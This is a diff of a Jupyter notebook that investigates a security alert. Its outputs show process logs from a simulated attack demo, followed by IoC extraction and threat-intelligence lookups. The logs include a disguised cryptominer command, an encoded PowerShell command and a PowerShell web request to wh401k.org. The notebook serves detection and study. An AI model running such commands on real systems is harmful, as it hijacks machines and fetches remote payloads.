2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "41 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "38 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "37 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "31 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "57 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", + "60 2019-02-13 21:10:58.257000+00:00 2019-02-13 22:11:46.203000+00:00 \n", + "62 2019-02-13 21:10:58.567000+00:00 2019-02-13 22:08:46.563000+00:00 \n", + "75 2019-02-13 21:11:41.770000+00:00 2019-02-13 22:11:41.790000+00:00 \n", + "40 2019-02-13 22:03:42.640000+00:00 2019-02-13 22:03:42.877000+00:00 \n", + "\n", + " NewProcessName \\\n", + "2 C:\\Windows\\System32\\cscript.exe \n", + "1 C:\\Windows\\System32\\conhost.exe \n", + "14 C:\\Windows\\System32\\MusNotification.exe \n", + "65 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon... \n", + "51 C:\\Windows\\System32\\appidcertstorecheck.exe \n", + "39 C:\\Windows\\System32\\conhost.exe \n", + "0 C:\\Windows\\System32\\cmd.exe \n", + "160 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", + "159 C:\\Windows\\System32\\sppsvc.exe \n", + "110 C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe \n", + "135 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", + "45 C:\\W!ndows\\System32\\powershell.exe \n", + "44 C:\\W!ndows\\System32\\powershell.exe \n", + "43 C:\\W!ndows\\System32\\suchost.exe \n", + "42 C:\\Windows\\System32\\cmd.exe \n", + "41 C:\\Windows\\System32\\cmd.exe \n", + "38 C:\\Windows\\System32\\cmd.exe \n", + "37 C:\\Windows\\System32\\dllhost.exe \n", + "31 C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe \n", + "57 C:\\Windows\\System32\\UsoClient.exe \n", + "60 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", + "62 C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", + "75 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe \n", + "40 C:\\Windows\\System32\\cmd.exe \n", + "\n", + " CommandLine \\\n", + "2 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", + "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", + "14 C:\\Windows\\system32\\MusNotification.exe Display \n", + "65 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo... \n", + "51 C:\\Windows\\system32\\appidcertstorecheck.exe \n", + "39 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", + "0 \"cmd\" \n", + "160 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", + "159 C:\\Windows\\system32\\sppsvc.exe \n", + "110 \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446... \n", + "135 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", + "45 .\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... \n", + "44 .\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ... \n", + "43 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4 \n", + "42 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com \n", + "41 cmd /c echo Any questions about the commands executed here then please contact one of \n", + "38 cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 2 \n", + "37 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", + "31 \"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524... \n", + "57 C:\\Windows\\system32\\usoclient.exe StartScan \n", + "60 C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding \n", + "62 C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", + "75 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe... \n", + "40 cmd /c echo Begin Security Demo tasks \n", + "\n", + " ClusterSize commandlineTokensFull pathScore isSystemSession \n", + "2 70 13 3022 True \n", + "1 80 10 3028 True \n", + "14 4 6 3826 True \n", + "65 4 53 11146 True \n", + "51 4 5 4285 True \n", + "39 2 10 3028 False \n", + "0 1 2 2570 True \n", + "160 1 8 3546 True \n", + "159 1 5 2933 True \n", + "110 1 18 6421 True \n", + "135 1 17 4895 True \n", + "45 1 6 3283 False \n", + "44 1 26 3283 False \n", + "43 1 21 2967 False \n", + "42 1 12 2570 False \n", + "41 1 16 2570 False \n", + "38 1 13 2570 True \n", + "37 1 12 3024 True \n", + "31 1 21 4198 True \n", + "57 1 6 3180 True \n", + "60 5 10 3546 True \n", + "62 3 13 10527 True \n", + "75 2 27 9122 True \n", + "40 2 8 2570 False " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "if 'clus_events' in locals() and not clus_events.empty:\n", " resp = input('View the clustered data? y/n')\n", @@ -750,14 +4168,27 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 20, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:03.856018Z", "start_time": "2020-05-16T02:20:03.843018Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/markdown": [ + "You can view the cluster members for individual processesby inserting a new cell and entering:
`view_cluster(process_name)`
where process_name is the unqualified process binary. E.g
`view_cluster(\"reg.exe\")`" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", @@ -779,14 +4210,410 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "datetime64[ns, UTC]" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "test_clus = clus_events\n", + "test_clus[\"TimeGenerated\"] = test_clus[\"TimeGenerated\"].astype(dtype=\"datetime64[ns, UTC]\")\n", + "processes_on_host[\"TimeGenerated\"].dtype\n", + "test_clus[\"TimeGenerated\"].dtype" + ] + }, + { + "cell_type": "code", + "execution_count": 22, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:06.531933Z", "start_time": "2020-05-16T02:20:06.352934Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"2163\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2163\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
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the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"2215\",\"type\":\"Title\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2186\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"2200\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2174\",\"type\":\"LinearScale\"}],\"root_ids\":[\"2254\"]},\"title\":\"Bokeh Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"88898e27-5bf4-44a8-a8fc-2cacac27e0b7\",\"root_ids\":[\"2254\"],\"roots\":{\"2254\":\"5e34ae8f-db60-4157-be57-47dd3cab4e5d\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "2254" + } + }, + "output_type": "display_data" + } + ], "source": [ "# Show timeline of events - clustered events\n", "if 'clus_events' in locals() and not clus_events.empty:\n", @@ -809,14 +4636,32 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 23, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:12.962663Z", "start_time": "2020-05-16T02:20:11.763218Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "Potential IoCs found in alert process:\n" + ] + }, + { + "data": { + "text/plain": [ + "defaultdict(set, {'windows_path': {'.\\\\suchost.exe'}})" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "process = security_alert.primary_process\n", "ioc_extractor = IoCExtract()\n", @@ -850,14 +4695,100 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 24, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:15.419954Z", "start_time": "2020-05-16T02:20:15.359955Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

IoC patterns found in process tree.

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
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IoCTypeObservableSourceIndex
0ipv4168.63.129.1631
1dnsmicrosoft.com42
2dnswh401k.org44
3urlhttp://wh401k.org/getps44
4dns7a9d40f2-490e-4468-a8cf-b7822b95614d.zip110
\n", + "
" + ], + "text/plain": [ + " IoCType Observable SourceIndex\n", + "0 ipv4 168.63.129.16 31\n", + "1 dns microsoft.com 42\n", + "2 dns wh401k.org 44\n", + "3 url http://wh401k.org/getps 44\n", + "4 dns 7a9d40f2-490e-4468-a8cf-b7822b95614d.zip 110" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "ioc_extractor = IoCExtract()\n", "\n", @@ -899,14 +4830,22 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 25, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:19.183556Z", "start_time": "2020-05-16T02:20:19.165556Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "No base64 encodings found.\n" + ] + } + ], "source": [ "if source_processes is not None:\n", " dec_df = base64.unpack_items(data=source_processes, column='CommandLine')\n", @@ -947,14 +4886,154 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 26, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:32.758293Z", "start_time": "2020-05-16T02:20:22.825297Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank\n" + ] + }, + { + "data": { + "text/html": [ + "

Positive TI Results:

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
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IocIocTypeSafeIocQuerySubtypeProviderResultSeverityDetailsRawResultReferenceStatus
1microsoft.comdnsmicrosoft.comNoneOTXTruehigh{'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar...{'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ...https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general0
0168.63.129.16ipv4168.63.129.16NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ...https://api.xforce.ibmcloud.com/ipr/168.63.129.160
\n", + "
